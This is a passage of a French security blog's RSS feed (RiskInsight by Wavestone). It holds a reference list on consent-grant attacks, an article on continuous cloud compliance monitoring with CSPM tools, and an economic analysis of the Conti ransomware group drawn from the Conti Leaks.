<p style="text-align: justify;"><a href="https://positivethinking.tech/insights/what-is-an-illicit-consent-grant-attack-in-office-365/">https://positivethinking.tech/insights/what-is-an-illicit-consent-grant-attack-in-office-365/</a></p>
<p style="text-align: justify;"><a href="https://docs.microsoft.com/en-us/azure/active-directory/develop/publisher-verification-overview">https://docs.microsoft.com/en-us/azure/active-directory/develop/publisher-verification-overview</a></p>
<p style="text-align: justify;"><a href="https://learn.microsoft.com/en-us/azure/active-directory/manage-apps/user-admin-consent-overview">https://learn.microsoft.com/en-us/azure/active-directory/manage-apps/user-admin-consent-overview</a></p>
<p style="text-align: justify;"><a href="https://learn.microsoft.com/en-us/security/operations/incident-response-playbook-app-consent">https://learn.microsoft.com/en-us/security/operations/incident-response-playbook-app-consent</a></p>
<p style="text-align: justify;"><a href="https://www.microsoft.com/en-us/security/blog/2021/07/14/microsoft-delivers-comprehensive-solution-to-battle-rise-in-consent-phishing-emails/">https://www.microsoft.com/en-us/security/blog/2021/07/14/microsoft-delivers-comprehensive-solution-to-battle-rise-in-consent-phishing-emails</a></p>
<p style="text-align: justify;"><a href="#_ftnref1" name="_ftn1">[1]</a> <a href="https://learn.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-device-code">https://learn.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-device-code</a></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2023/03/les-attaques-par-consentement-illicite-ciblant-azure-et-office-365-une-menace-toujours-dactualite/">Les attaques par consentement illicite ciblant Azure et Office 365 : une menace toujours d’actualité ?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2023/03/les-attaques-par-consentement-illicite-ciblant-azure-et-office-365-une-menace-toujours-dactualite/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Conformité dans le Cloud, un nouveau paradigme</title>
		<link>https://www.riskinsight-wavestone.com/2022/10/conformite-dans-le-cloud-un-nouveau-paradigme/</link>
					<comments>https://www.riskinsight-wavestone.com/2022/10/conformite-dans-le-cloud-un-nouveau-paradigme/#respond</comments>
		
		<dc:creator><![CDATA[Etienne Lafore]]></dc:creator>
		<pubDate>Fri, 07 Oct 2022 08:00:00 +0000</pubDate>
				<category><![CDATA[Cloud & Next-Gen IT Security]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[Azure]]></category>
		<category><![CDATA[Cloud]]></category>
		<category><![CDATA[CSPM]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=18839</guid>

					<description><![CDATA[<p>Retour d’expérience sur AWS et Azure Les erreurs de configuration dans les environnements Cloud sont encore source d’incidents majeurs et ce n’est pas près de s’arrêter. L’actualité regorge d’exemples : fuite de 1 milliard de donnés de citoyens lié à une...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2022/10/conformite-dans-le-cloud-un-nouveau-paradigme/">Conformité dans le Cloud, un nouveau paradigme</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h1 style="text-align: justify;" align="center">Retour d’expérience sur AWS et Azure</h1>
<p style="text-align: justify;">Les erreurs de configuration dans les environnements Cloud sont encore source d’incidents majeurs et ce n’est pas près de s’arrêter. L’actualité regorge d’exemples : <a href="https://twitter.com/cz_binance/status/1543905416748359680">fuite de 1 milliard de donnés de citoyens lié à une fuite de clé</a>,  <a href="https://lambdascientifica.com/new-office-365-phishing-campaign-used-stolen-kaspersky-amazon-ses-token-to-trick-victims/">campagne de phishing utilisant une clés AWS de Kaspersky</a>, <a href="https://gizmodo.com/iranian-chat-app-gets-its-data-wiped-out-in-a-cyberatta-1846181651">mauvaise configuration d’une base de données NoSQL</a>, <a href="https://www.darkreading.com/application-security/cloud-misconfig-exposes-3tb-sensitive-airport-data-amazon-s3-bucket">3TB de données sensibles des aéroports</a>…</p>
<p style="text-align: justify;">L’objectif de cet article est de voir comment anticiper un tel scénario en mettant en œuvre une Tour de contrôle (ou outil de supervision continue de la configuration des ressources Cloud).</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Avant toute chose, un peu de théorie sur les logs</h2>
<p style="text-align: justify;">Les logs cloud peuvent être répartis en 3 catégories :</p>
<ul style="text-align: justify;">
<li><strong>System logs</strong>: Ils sont générés par les OS et les applications hébergées en mode IaaS/CaaS. Les enjeux ne sont pas différents d’un SI classique on premise, seule l’architecture de collecte de logs peut être à adapter.</li>
</ul>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-18840 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image1.png" alt="" width="1187" height="333" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image1.png 1187w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image1-437x123.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image1-71x20.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image1-768x215.png 768w" sizes="auto, (max-width: 1187px) 100vw, 1187px" /></p>
<ul style="text-align: justify;">
<li><strong>Security infrastructure admin logs : </strong>Il s’agit des logs des appliances de sécurité mais également des services PaaS de sécurité utilisés par le client et des logs des flux réseaux. Pour les appliances, là encore rien de bien nouveau, il s’agit du même composant déjà utilisé et bien connu. En revanche pour les services PaaS de sécurité et les logs réseaux, il est nécessaire de mettre en œuvre une intégration spécifique et d’adapter les scénarios de détection.</li>
</ul>
<ul style="text-align: justify;">
<li><strong>Cloud Infra API logs : </strong>Lors de chaque call API pour créer, modifier ou supprimer une ressource, le Cloud Service Provider va générer un log.</li>
</ul>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-18842 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image2.png" alt="" width="475" height="60" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image2.png 475w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image2-437x55.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image2-71x9.png 71w" sizes="auto, (max-width: 475px) 100vw, 475px" /></p>
<p style="text-align: justify;">Ces logs sont accessibles dans des services managés dédiés tels que AWS CloudTrail, AWS config ou Azure activity log</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Le délai de mise à disposition va dépendre du SLA du CSP, les logs sont généralement disponibles de quelques minutes à 15 minutes après réalisation de l’opération.</p>
<p style="text-align: justify;">Exploiter ces logs va permettre de passer d’une conformité manuelle et statique à une conformité automatique et continue :</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-18844 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image3.png" alt="" width="994" height="294" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image3.png 994w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image3-437x129.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image3-71x21.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image3-768x227.png 768w" sizes="auto, (max-width: 994px) 100vw, 994px" /></p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Quelles options techniques pour construire une Tour de contrôle ?</h2>
<p style="text-align: justify;">Trois grandes options s’offrent à un client qui souhaiterait mettre en œuvre une tour de contrôle :</p>
<ul style="text-align: justify;">
<li><strong>Natif intégré </strong>(built-in)</li>
<li><strong>Natif personnalisé </strong>(custom)</li>
<li><strong>Cloud Security Posture Management </strong>(CSPM)</li>
</ul>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Natif intégré (built-in)</h3>
<p style="text-align: justify;">Dans ce premier cas, les outils activés par défaut par le Cloud Service Provider, parfois gratuitement, utilisant des alertes prédéfinies pour évaluer la conformité de vos environnements et délivrer un score de sécurité sont utilisés.</p>
<p style="text-align: justify;">Par exemple Trusted Advisor sur AWS ou Microsoft Defender for Cloud sur Azure.</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-18848 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image4.png" alt="" width="4116" height="1230" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image4.png 4116w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image4-437x131.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image4-71x21.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image4-768x230.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image4-1536x459.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image4-2048x612.png 2048w" sizes="auto, (max-width: 4116px) 100vw, 4116px" />         </p>
<p style="text-align: justify;">Ces solutions natives et non-personnalisées permettent d’initier une tour de contrôle, mais elles sont cependant rapidement limitées : il s’agit d’une réponse générique à des problématiques spécifiques.</p>
<h3 style="text-align: justify;">Natif personnalisés (custom)</h3>
<p style="text-align: justify;">Les fournisseurs Cloud mettent à disposition de nombreux services permettant aux clients de construire un outil de vérification de la conformité de leur infrastructure : les outils du CSP disponibles sont personnalisés pour créer des alertes de conformité spécifiques et des tableaux de bord/KPIs personnalisés.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18850 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image5.png" alt="" width="984" height="396" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image5.png 984w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image5-437x176.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image5-71x29.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image5-768x309.png 768w" sizes="auto, (max-width: 984px) 100vw, 984px" /></p>
<p style="text-align: justify;">Dans cette option, il est nécessaire de prévoir un projet de 10 à 40 jours hommes pour mettre en œuvre l’infrastructure de supervision, définir les 1<sup>ères</sup> alertes et construire les tableaux de bords.</p>
<p style="text-align: justify;">L’usage de plusieurs tenants, organisations ou Cloud nécessitera de définir une architecture spécifique car il n’existe pas de solution clé en main.</p>
<h3 style="text-align: justify;">CSPM : Cloud Security Posture Management</h3>
<p style="text-align: justify;">Wavestone voit un marché en plein essor. <a href="https://www.marketsandmarkets.com/Market-Reports/cloud-security-posture-management-market-71228949.html">Marketsandmarkets</a> estime que le marché devrait plus que doubler entre 2022 et 2027 en passant de 4,2 milliards de $ à 8,6 milliards de $.</p>
<p style="text-align: justify;">Les CSPM supportent nativement de nombreux Cloud providers et mettent à disposition de leurs clients de nombreux tableaux de bord basés sur les grands référentiels du marché. Le client pourra également définir facilement ses propres standards, politiques et alertes.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18854 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image6.png" alt="" width="1115" height="526" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image6.png 1115w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image6-405x191.png 405w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image6-71x33.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image6-768x362.png 768w" sizes="auto, (max-width: 1115px) 100vw, 1115px" /></p>
<p style="text-align: justify;">Le déploiement de ce type d’outil est très simple, nécessitant que quelques jours hommes.</p>
<p style="text-align: justify;">Les coûts récurrents pourront cependant être significatifs : généralement 3 à 5% de la facture Cloud en plus des services du Cloud à activer (similaire à l’option des services natifs et personnalisés).</p>
<p style="text-align: justify;">La vitesse de détection sera également un peu moins rapide car le SLA du CSPM s’additionne à celui de génération des logs de CSP, généralement un délai de détection de 20 minutes à 1 heure.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Que doit superviser ma Tour de Contrôle ?</h2>
<p style="text-align: justify;">Le problème majeur que rencontrent les clients lors de la mise en œuvre d’un CSPM avec l’activation d’alertes proposées est la génération de dizaines voire de centaines de milliers d’alertes de criticité haute à traiter. Les équipes ne savent pas par quoi commencer et c’est bien souvent le découragement qui l’emporte. Il faut faire attention à ne pas surcharger les équipes de sécurité !</p>
<p style="text-align: justify;">Pour la mise en œuvre d’une tour de contrôle sur un SI Cloud de production, nous recommandons de déployer les contrôles de sécurité par vague de 10 à 15 à la fois. Pour cela, il faut prioriser les sujets les plus importants. Ci-dessous un exemple de priorisation :</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18858 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image7.png" alt="" width="807" height="281" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image7.png 807w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image7-437x152.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image7-71x25.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image7-768x267.png 768w" sizes="auto, (max-width: 807px) 100vw, 807px" /></p>
<p style="text-align: justify;">Malheureusement, à toute règle ses exceptions ! Elles sont principalement liées à l’existant Cloud, à des architectures spécifiques ou des contraintes techniques. Il est donc primordial dès la conception de prévoir ce cas de figure et la gouvernance associée :</p>
<ul style="text-align: justify;">
<li>Validation : par le RSSI local et/ou le RSSI global</li>
<li>Expiration</li>
<li>Revue : décentralisée (localement ou lors d’audits globaux annuels) ou centralisée (par un suivi continu global)</li>
</ul>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">L’utilisation de tag pour les ressources Cloud est la solution la plus simple à ce jour pour le faire &#8211; attention toutefois, certaines ressources peuvent ne pas être compatibles comme les services IAM.</p>
<p style="text-align: justify;">Quel que soit le modèle choisi, les sujets à traiter restent principalement les mêmes :</p>
<ul style="text-align: justify;">
<li>Garantir l’utilisation et l’application légitime des exceptions</li>
<li>Définir des indicateurs spécifiques sur des exceptions pour les sujets à risques du Top Management</li>
<li>Mettre en place des campagnes régulières de suivi des exceptions</li>
<li>Alerter et traiter lorsqu’une exception expire</li>
</ul>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Comment mettre en œuvre un processus de remédiation efficace ?</h2>
<p style="text-align: justify;">La mise en œuvre d’une tour de contrôle va générer de nombreuses alertes, qu’il va falloir corriger. Trois options sont possibles : bloquer, remédier automatique ou manuellement</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18862 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image8.png" alt="" width="924" height="274" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image8.png 924w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image8-437x130.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image8-71x21.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image8-768x228.png 768w" sizes="auto, (max-width: 924px) 100vw, 924px" /></p>
<h3 style="text-align: justify;">Refus (Mode deny)</h3>
<p style="text-align: justify;"><strong>Pourquoi remédier alors qu’il suffit de bloquer préventivement les ressources non-conformes ? </strong></p>
<p style="text-align: justify;">Avec des <a href="https://github.com/Azure/Community-Policy">Azure Policy</a> ou des <a href="https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps.html">AWS SCP</a>, il est possible nativement de bloquer certaines configurations et ainsi éviter la génération de nouvelles alertes.</p>
<p style="text-align: justify;">Pour les cas d’usage non couverts, il est possible de mettre en place des vérifications des templates de déploiement dans les chaines CI/CD (cela nécessite néanmoins une forte maturité).</p>
<p style="text-align: justify;">Déployer un mécanisme de refus – ou deny – sur des environnements existants est rarement implémenté car le risque de générer des mécontentements des équipes de développement est trop fort :</p>
<ul style="text-align: justify;">
<li>Les ressources existantes non conformes ne peuvent plus être modifiées</li>
<li>Cela va générer une charge supplémentaire aux équipes de développement car les habitudes doivent être changées</li>
<li>…</li>
</ul>
<h3 style="text-align: justify;">Remédiation automatique</h3>
<p style="text-align: justify;">Ici, il s’agit de corriger directement et automatiquement les configurations déviantes : attention aux effets de bord !</p>
<p style="text-align: justify;">Pour se faire, il est possible d’utiliser les services natifs des cloud provider (Azure policy ou AWS SSM Manager) ou pour des cas non supportés de développer des fonctions (AWS Lambda, Azure Function ou Azure LogicApps).</p>
<h3 style="text-align: justify;">Manuel</h3>
<p style="text-align: justify;">Il s’agit malheureusement de la solution la plus rencontrée mais aussi la plus coûteuse en ressources humaines. Les configurations déviantes sont remédiées à la main par les équipes.</p>
<p style="text-align: justify;">Pour garantir le succès d’une remédiation manuelle, il est nécessaire d’avoir un appui fort du top management pour assurer l’adhésion et la motivation des équipes.</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="alignleft wp-image-18866 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image9.png" alt="" width="376" height="392" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image9.png 376w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image9-183x191.png 183w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image9-37x39.png 37w" sizes="auto, (max-width: 376px) 100vw, 376px" />La mise en œuvre d’un tableau de bord de type Cloud OWSAP mettant en lumière les priorités du moment est une bonne solution, permettant de responsabiliser chacun sur son périmètre. Chaque sujet mentionné ci-contre pouvant avoir un ou plusieurs indicateurs.</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Avoir l’appui du management n’est cependant pas suffisant, il est nécessaire de connaitre le responsable de la ressource pour lui demander de faire les modifications. Dans un grand groupe international ce n’est pas chose aisée. Notre recommandation est de nommer à minima un <em>security officer </em>par compte/souscription qui devra avoir la connaissance fine des applications et des responsables des ressources.</p>
<p style="text-align: justify;">En parallèle, il est nécessaire de mettre en œuvre un programme de formation et de sensibilisation efficace. Si l’on veut minimiser le nombre d’alertes et éviter de remplir plus vite la baignoire qu’elle se vide, les équipes de développement doivent connaitre et maitriser parfaitement les exigences sécurité à respecter dans le Cloud.</p>
<p style="text-align: justify;">Pour commencer le processus de remédiation, notre conseil est de démarrer de manière centralisée avec une équipe compétente et bien dimensionnée en charge de la mise en œuvre de la tour de contrôle, mais également en charge de mobiliser et former des relais locaux, permettant à terme aux équipes locales de suivre et gérer de façon autonome la conformité sur leur périmètre.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Alerte de conformité ou alerte de sécurité ?</h2>
<p style="text-align: justify;">La majorité des entreprises considère la supervision de la conformité de leurs ressources Cloud comme n’étant pas une responsabilité des équipes SOC. Mais la frontière n’est pas si simple à définir, d’autant plus au vu du nombre d’incidents de sécurité dans le Cloud provenant d’erreurs de configuration : exposition publique d’une ressource de stockage contenant des données critiques, MFA non-configuré sur un compte admin ou encore RDP ou SSH exposés sur internet.</p>
<p style="text-align: justify;">La génération d’une alerte de sécurité au SOC permet de tirer parti des processus et outillages déjà en place, pour un traitement 24h sur 24, 7 jours sur 7 même si les ressources SOC ne sont pas expertes Cloud.</p>
<p style="text-align: justify;">Et finalement, cela sera une bonne occasion de rapprocher les sécurités Cloud et les équipes SOC pour améliorer les supervisions sécurité en l’adaptant à la réalité du cloud. Ce sujet pourra faire l’objet d’un article dédié.</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2022/10/conformite-dans-le-cloud-un-nouveau-paradigme/">Conformité dans le Cloud, un nouveau paradigme</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2022/10/conformite-dans-le-cloud-un-nouveau-paradigme/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Ransomware : Immersion au sein de l’ancien groupe CONTI</title>
		<link>https://www.riskinsight-wavestone.com/2022/07/ransomware-immersion-au-sein-de-lancien-groupe-conti/</link>
					<comments>https://www.riskinsight-wavestone.com/2022/07/ransomware-immersion-au-sein-de-lancien-groupe-conti/#respond</comments>
		
		<dc:creator><![CDATA[Tristan Puech]]></dc:creator>
		<pubDate>Fri, 01 Jul 2022 15:30:00 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[CONTI]]></category>
		<category><![CDATA[Cybercrime]]></category>
		<category><![CDATA[Cybercriminalité]]></category>
		<category><![CDATA[ransomware]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=18212</guid>

					<description><![CDATA[<p>En mai dernier, nous apprenions par Yelisey Boguslavskiy, chercheur d&#8217;AdvIntel, que le groupe CONTI a officiellement mis fin à ses opérations, rendant la marque CONTI désormais obsolète.[1] Cette annonce n’intervient que quelques mois après qu’il a été le centre d’attention...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2022/07/ransomware-immersion-au-sein-de-lancien-groupe-conti/">Ransomware : Immersion au sein de l’ancien groupe CONTI</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p style="text-align: justify;">En mai dernier, nous apprenions par Yelisey Boguslavskiy, chercheur d&rsquo;AdvIntel, que le groupe CONTI a officiellement mis fin à ses opérations, rendant la marque CONTI désormais obsolète.<a href="#_ftn1"><sup>[1] </sup></a>Cette annonce n’intervient que quelques mois après qu’il a été le centre d’attention de la presse spécialisée suite aux « <strong><em>Conti Leaks</em></strong><em> »</em>.</p>
<p style="text-align: justify;">En février dernier, un chercheur ukrainien diffuse plus de 60 000 messages provenant des conversations internes entre les différents membres du groupe. A travers ces discussions, plusieurs révélations sont faites sur leur fonctionnement interne, nous permettant de comprendre l’écosystème des RaaS (<em>Ransomware-as-a-Service)</em>.</p>
<p style="text-align: justify;">Regardons à travers cet article comment fonctionne une plateforme de <em>Ransomware</em>, puis interrogeons-nous sur l’organisation et les bénéfices générés par l’ancien groupe CONTI.</p>
<h1> </h1>
<h1 style="text-align: justify;"><strong>L’écosystème des plateformes de Ransomware</strong></h1>
<p style="text-align: justify;">Le nombre d’articles sur la menace <em>Ransomware</em> foisonne depuis quelques années et donne l’impression d’un secteur un plein essor. On dénombre ainsi <strong>plusieurs a</strong><strong>cteurs</strong>, pour des vols de données qui se chiffrent en <strong>centaines de millions d’euros</strong> par an. A titre d’exemple, le CERT-Wavestone partageait qu’environ <a href="https://www.riskinsight-wavestone.com/2021/10/cyberattaques-en-france-le-ransomware-menace-numero-1/">60% de ses interventions en 2021 sur des incidents concernaient des attaques de ransomware</a>.<a href="#_ftn2"><sup> [2]</sup></a></p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18199 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image1.jpg" alt="" width="451" height="312" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image1.jpg 451w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image1-276x191.jpg 276w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image1-56x39.jpg 56w" sizes="auto, (max-width: 451px) 100vw, 451px" /></p>
<p style="text-align: justify;">Comme indiqué sur le schéma, une plateforme de ransomware <strong>ne travaille pas seule</strong>. Elle reçoit de l’aide de différents <strong>fournisseurs de services</strong> ou d’autre plateformes, et propose ses services (sous forme de <em>ransomware</em>) à différents groupes d’attaquants. Enfin, la plateforme peut également directement soutirer des données à ses victimes : particuliers, entreprises, états…</p>
<p style="text-align: justify;">Ces plateformes ont favorisé l’essor d’une économie du RaaS. Le Financial Crimes Enforcement Network (FinCEN) du département du Trésor américain a recensé des<strong> transactions en bitcoins d&rsquo;une valeur d&rsquo;environ 5,2 milliards de dollars</strong>, probablement <strong>liées</strong> aux dix <strong>variantes de ransomware les plus fréquemment signalées</strong>.<a href="#_ftn3"><sup>[3]</sup></a> Il s’agit donc là d’une activité <strong>particulièrement rentable</strong>.</p>
<p style="text-align: justify;">Mais c’est aussi une activité où l’on dénombre une <strong>multiplicité importante de groupe d’acteurs</strong> établis qui semblent apparaître et disparaître fréquemment et dont la durée se compte généralement en mois. Derrière ces multiples plateformes se cachent bien souvent les mêmes individus. Si la franchise CONTI, supposé successeur du groupe Ryuk<a href="#_ftn4"><sup>[4]</sup></a>, n’aura survécu que 2 ans, ces ex-membres semblent encore actifs.</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-18201 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image2.jpg" alt="" width="605" height="419" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image2.jpg 605w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image2-276x191.jpg 276w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image2-56x39.jpg 56w" sizes="auto, (max-width: 605px) 100vw, 605px" /></p>
<p style="text-align: justify;">Dans ce milieu éclaté et complexe, il est difficile de récupérer des informations consistantes sur le fonctionnement des plateformes. Les discordes internes qui ont suivi la guerre en Ukraine et la publication des <em>Conti Leaks</em> nous ont permis de faire le point sur le fonctionnement de ce groupe si secret avant sa dissolution.</p>
<h1> </h1>
<h1 style="text-align: justify;"><strong>Conti, une entreprise comme les autres ?</strong></h1>
<p style="text-align: justify;">Le 27 février 2022 nous découvrons les dessous de l’organisation CONTI. Les révélations s’enchaînent en quelques jours et dévoilent très vite :</p>
<ul style="text-align: justify;">
<li>Des <strong>processus de recrutement rodés</strong> qui peuvent même aller jusqu’à des annonces sur des sites de recrutement légitime</li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18203 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image3.jpg" alt="" width="605" height="419" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image3.jpg 605w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image3-276x191.jpg 276w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image3-56x39.jpg 56w" sizes="auto, (max-width: 605px) 100vw, 605px" /></p>
<ul style="text-align: justify;">
<li>Une <strong>organisation verticale de l’entreprise</strong> avec ses fonctions RH, financières, opérationnelles</li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18205 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image4.jpg" alt="" width="605" height="419" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image4.jpg 605w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image4-276x191.jpg 276w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image4-56x39.jpg 56w" sizes="auto, (max-width: 605px) 100vw, 605px" /></p>
<ul style="text-align: justify;">
<li>Une <strong>politique salariale</strong> établie en fonction des différentes fonctions dans l’organisation, jusqu’aux bonus par poste après une rançon réussie (<em>cf</em>. <a href="/wp-content/uploads/2022/06/Note-de-synthese-groupes-de-ransomware-FR.pdf">étude complète</a>)</li>
</ul>
<p> </p>
<p style="text-align: justify;">Cette organisation réfléchie et efficace semble être l’un des secrets de la rentabilité du groupe de cyberattaquants.</p>
<h1> </h1>
<h1 style="text-align: justify;"><strong>Un modèle économique à forte rentabilité</strong></h1>
<p style="text-align: justify;">Nous nous sommes efforcés à recréer de toutes pièces le tableau de trésorerie du groupe CONTI.</p>
<p style="text-align: justify;">Chaque ligne de gain et de coût fait l’objet d’une recherche pour être estimée au plus juste sur une année.</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-18207 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image5.jpg" alt="" width="605" height="419" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image5.jpg 605w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image5-276x191.jpg 276w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image5-56x39.jpg 56w" sizes="auto, (max-width: 605px) 100vw, 605px" /></p>
<p style="text-align: justify;">Selon le rapport The 2022 Crypto Crime Report<a href="#_ftn5"><sup>[5]</sup></a>, en 2021, CONTI et ses affiliés ont rançonné au moins <strong>$180M en bitcoins</strong>, sur des <strong>adresses traçables</strong> sur la blockchain. On estime que <strong>70% sont reversés</strong> à ses affiliés, et que les $45M restant constituent le chiffre d’affaires du groupe.</p>
<p style="text-align: justify;">CONTI doit ensuite faire face à des postes de dépenses traditionnels, que l’on retrouve dans les entreprises classiques. Les principaux constituent sans doute : le <strong>blanchiment de l’argent</strong> qui peut monter jusqu’à 50% des gains, les <strong>achats de services tiers et les coûts de maintenance</strong>, et enfin <strong>les salaires.</strong></p>
<p style="text-align: justify;">CONTI dégagerait donc un <strong>bénéfice net de $16M</strong> (si l’on suppose que le groupe ne paie pas l’impôt russe). Le <em>ROI</em> du groupe est quant à lui estimé à environ <strong>+163%</strong>, selon les mêmes informations.</p>
<h1> </h1>
<h1 style="text-align: justify;"><strong>Conclusion</strong></h1>
<p style="text-align: justify;">Les <em>Conti Leaks</em> nous ont permis, à travers l’étude d’un groupe, de mieux comprendre l’organisation et l’écosystème des plateformes de <em>Ransomware-as-a-Service</em>. Ces travaux constituent ainsi une base solide pour une meilleure compréhension et pour la vulgarisation de la menace RaaS.</p>
